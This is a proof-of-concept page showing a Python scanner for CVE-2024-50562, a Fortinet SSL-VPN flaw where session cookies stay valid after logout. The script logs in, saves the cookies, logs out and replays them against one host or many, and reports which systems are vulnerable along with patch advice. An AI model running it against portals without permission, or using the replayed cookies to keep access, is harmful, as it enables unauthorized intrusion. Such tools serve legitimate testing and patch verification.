4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / fortinet-cve-2024-50562.py PY
#!/usr/bin/env python3
"""
fortinet_reuse_check.py
──────────────────────────────────────────────────────────────────────────────
Professional scanner for CVE-2024-50562 – Fortinet SSL-VPN session reuse
vulnerability (FG-IR-24-339).  The tool:

  1. Logs in with supplied credentials
  2. Saves session cookies
  3. Logs out
  4. Re-uses saved cookies to verify whether the session is invalidated

Developed by: Bugb Security Team
Company: Bugb Technologies Pvt. Ltd.
Website: https://bugb.io

It now supports full CLI input:

  - `--username/-u`   VPN username  (REQUIRED)
  - `--password/-p`   VPN password  (REQUIRED)
  - `--realm/-r`      Fortinet realm (optional)
  - `--target/-t`     Host[:port] pair (repeatable, default port 443)
  - `--file/-f`       File of Host[:port] pairs (one per line, # = comment)
  - `--output/-o`     CSV path for results  (default: fortinet_reuse_results.csv)

Examples
────────
# Single target on default port 443
python3 fortinet-cve-2024-50562.py -u alice -p hunter2 -t 192.0.12.8

# Several explicit targets
python3 fortinet-cve-2024-50562.py -u bob -p S3cre7 \
    -t 192.0.2.11:4433 -t 192.0.2.8:15333

# Bulk scan from file plus one extra target
python3 fortinet-cve-2024-50562.py  -u bob -p 'S3cre7' \
    -f targets.txt -t 192.0.2.8
"""

import argparse
import csv
import json
import re
import sys
from pathlib import Path
from typing import Dict, List, Tuple

import requests
import urllib3

# ──────────────────────── STATIC SETTINGS ────────────────────────────────────
TIMEOUT: int = 10
PORTAL_PATH: str = "/sslvpn/portal.html"      # endpoint requiring auth
DEBUG_BODY: bool = False                      # dump bodies on unexpected 200s
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ───────────────────────── HELPERS ───────────────────────────────────────────
def pretty_json(data: Dict[str, str]) -> str:
    return json.dumps(data, separators=(",", ":"))

def verdict_from_body(body: str) -> str:
    """Return 'INVALIDATED' if we are pushed back to login; else 'REUSED'."""
    if re.search(r"/remote/login|name=[\"']username[\"']", body, re.I):
        return "INVALIDATED"
    return "REUSED"

def print_header() -> None:
    print("=" * 80)
    print("CVE-2024-50562 Scanner - Fortinet SSL-VPN Session Management Vulnerability")
    print("=" * 80)
    print("Testing for insufficient session expiration in FortiOS SSL-VPN portals")
    print("Reference: FG-IR-24-339 | CVSS: 4.4 (Medium)")
    print("=" * 80)

def print_target_header(host: str, port: int, current: int, total: int) -> None:
    print(f"\n[{current}/{total}] TARGET: {host}:{port}")
    print("-" * 50)

def log_step(step: str, status: str, details: str = "") -> None:
    symbols = {
        "SUCCESS": "[+]", "FAILED": "[-]", "WARNING": "[!]",
        "INFO": "[*]", "VULNERABLE": "[VULN]", "SECURE": "[SAFE]"
    }
    symbol = symbols.get(status, "[?]")
    msg = f"{symbol} {step}"
    if details:
        msg += f" - {details}"
    print(f"  {msg}")

def analyze_cookies(c_before: dict, c_after: dict) -> str:
    if not c_before:
        return "No session cookies received"
    analysis: List[str] = []
    for ck in ("SVPNCOOKIE", "SVPNTMPCOOKIE"):
        if ck in c_before and ck not in c_after:
            analysis.append(f"{ck} properly invalidated")
        elif ck in c_before:
            analysis.append(f"{ck} persists after logout")
    return " | ".join(analysis) if analysis else "No session cookies found"

def load_targets(singles: List[str], file_path: str | None) -> List[Tuple[str, int]]:
    """Return list of (host, port) tuples from CLI."""
    targets: List[Tuple[str, int]] = []
    # single -t entries
    for item in singles:
        host, *port = item.split(":")
        targets.append((host.strip(), int(port[0]) if port else 443))
    # file entries
    if file_path:
        for line in Path(file_path).read_text().splitlines():
            line = line.split("#", 1)[0].strip()   # allow comments
            if not line:
                continue
            host, *port = line.split(":")
            targets.append((host.strip(), int(port[0]) if port else 443))
    if not targets:
        raise SystemExit("[!] No targets supplied – use --target or --file")
    return targets

# ───────────────────────── CORE TEST ─────────────────────────────────────────
def test_target(host: str, port: int,
                username: str, password: str, realm: str,
                current: int, total: int) -> Tuple:
    base = f"https://{host}:{port}"
    print_target_header(host, port, current, total)

    sess = requests.Session()
    sess.verify = False

    try:
        # 1. Portal connect
        log_step("Connecting to SSL-VPN portal", "INFO")
        sess.get(f"{base}/remote/login", params={"lang": "en"}, timeout=TIMEOUT)
        log_step("Portal connection", "SUCCESS")

        # 2. Auth
        log_step("Authenticating", "INFO", f"user={username}")
        r_login = sess.post(
            f"{base}/remote/logincheck",
            data={"ajax": "1", "username": username,
                  "realm": realm, "credential": password},
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            timeout=TIMEOUT
        )
        body_login = r_login.text
        cookies_login = requests.utils.dict_from_cookiejar(r_login.cookies)
        ret_login = re.search(r"\bret=(\d+)", body_login)
        success = ret_login and ret_login.group(1) == "1" and "/remote/hostcheck_install" in body_login
        if not success:
            log_step("Authentication", "FAILED", "Invalid credentials or MFA")
            return host, port, False, "auth-failed", cookies_login, {}, {}, "UNTESTABLE"
        log_step("Authentication", "SUCCESS")

        # Cookie info
        if cookies_login:
            log_step("Session cookies received", "INFO",
                     ", ".join(cookies_login.keys()))

        # 3. Logout
        log_step("Initiating logout", "INFO")
        r_logout = sess.get(f"{base}/remote/logout", timeout=TIMEOUT)
        cookies_logout = requests.utils.dict_from_cookiejar(r_logout.cookies)
        log_step("Logout completed", "SUCCESS")

        # Cookie invalidation
        log_step("Cookie invalidation", "INFO",
                 analyze_cookies(cookies_login, cookies_logout))

        # 4. Re-use cookies
        log_step("Testing cookie reuse", "INFO",
                 "Creating new session with old cookies")
        reuse = requests.Session()
        reuse.verify = False
        reuse.cookies.update(cookies_login)
        r_reuse = reuse.get(f"{base}{PORTAL_PATH}", timeout=TIMEOUT)
        verdict = verdict_from_body(r_reuse.text)
        cookies_reuse = requests.utils.dict_from_cookiejar(reuse.cookies)

        # 5. Verdict
        if verdict == "REUSED":
            log_step("VULNERABILITY DETECTED", "VULNERABLE",
                     "Session remains active after logout")
            log_step("CVE-2024-50562", "VULNERABLE",
                     "System requires immediate patching")
        else:
            log_step("Session properly invalidated", "SECURE",
                     "No vulnerability detected")
            log_step("CVE-2024-50562", "SECURE",
                     "System appears patched or not vulnerable")

        return host, port, True, verdict, cookies_login, cookies_logout, cookies_reuse, verdict

    except requests.Timeout:
        log_step("Connection", "FAILED", "Timeout")
        return host, port, False, "timeout", {}, {}, {}, "ERROR"
    except requests.ConnectionError:
        log_step("Connection", "FAILED", "Connection refused")
        return host, port, False, "connection-error", {}, {}, {}, "ERROR"
    except Exception as e:
        log_step("Test execution", "FAILED", f"{e.__class__.__name__}: {str(e)[:50]}")
        return host, port, False, f"error:{e.__class__.__name__}", {}, {}, {}, "ERROR"

# ─────────────────────────── CLI / MAIN ──────────────────────────────────────
def main() -> None:
    parser = argparse.ArgumentParser(
        prog="fortinet_reuse_check.py",
        description="Scanner for CVE-2024-50562 – Fortinet SSL-VPN session "
                    "management vulnerability."
    )
    parser.add_argument("-u", "--username", required=True, help="VPN username")
    parser.add_argument("-p", "--password", required=True, help="VPN password")
    parser.add_argument("-r", "--realm", default="", help="Realm (optional)")
    parser.add_argument("-t", "--target", action="append",
                        help="Target in HOST[:PORT] form (repeatable)")
    parser.add_argument("-f", "--file",
                        help="File with HOST[:PORT] lines (blank & # comments ok)")
    parser.add_argument("-o", "--output", default="fortinet_reuse_results.csv",
                        help="CSV output path (default: %(default)s)")
    args = parser.parse_args()

    targets: List[Tuple[str, int]] = load_targets(args.target or [], args.file)

    print_header()

    results: List[Tuple] = []
    stats = {"vulnerable": 0, "secure": 0, "untestable": 0, "errors": 0}

    for idx, (host, port) in enumerate(targets, 1):
        try:
            res = test_target(
                host, port,
                username=args.username,
                password=args.password,
                realm=args.realm,
                current=idx, total=len(targets)
            )
            results.append(res)
            # tally
            if res[3] == "REUSED":
                stats["vulnerable"] += 1
            elif res[3] == "INVALIDATED":
                stats["secure"] += 1
            elif res[3] == "auth-failed":
                stats["untestable"] += 1
            else:
                stats["errors"] += 1
        except KeyboardInterrupt:
            print("\n[!] Scan interrupted by user")
            break

    # Summary
    print("\n" + "=" * 80)
    print("SCAN SUMMARY")
    print("=" * 80)
    total = len(results)
    print(f"Targets scanned: {total}")
    print(f"Vulnerable to CVE-2024-50562: {stats['vulnerable']}")
    print(f"Secure/Patched: {stats['secure']}")
    print(f"Authentication failed: {stats['untestable']}")
    print(f"Connection/Other errors: {stats['errors']}")

    if stats["vulnerable"]:
        print(f"\n[CRITICAL] {stats['vulnerable']} system(s) vulnerable to session hijacking")
        print("[ACTION] Immediate patching required:")
        print("  - FortiOS 7.6.x: Upgrade to 7.6.1+")
        print("  - FortiOS 7.4.x: Upgrade to 7.4.8+")
        print("  - FortiOS 7.2.x: Upgrade to 7.2.11+")
        print("  - FortiOS 7.0.x/6.4.x: Migrate to supported version")
        print("\nVulnerable systems:")
        for r in results:
            if r[3] == "REUSED":
                print(f"  - {r[0]}:{r[1]}")
    else:
        print("\n[GOOD] No vulnerable systems detected")
        if stats["secure"]:
            print(f"[INFO] {stats['secure']} system(s) properly invalidate sessions")

    # CSV Export
    try:
        with open(args.output, "w", newline="") as fh:
            wr = csv.writer(fh)
            wr.writerow(["ip", "port", "login_success", "vulnerability_status",
                         "cookies_login", "cookies_logout",
                         "cookies_reused", "summary"])
            for row in results:
                wr.writerow([
                    row[0], row[1], row[2], row[3],
                    pretty_json(row[4]), pretty_json(row[5]),
                    pretty_json(row[6]), row[7]
                ])
        print(f"\n[+] Detailed results exported to: {args.output}")
    except Exception as e:
        print(f"[!] Failed to export results: {e}")

# ─────────────────────────────────────────────────────────────────────────────
if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Scan terminated by user")
        sys.exit(1)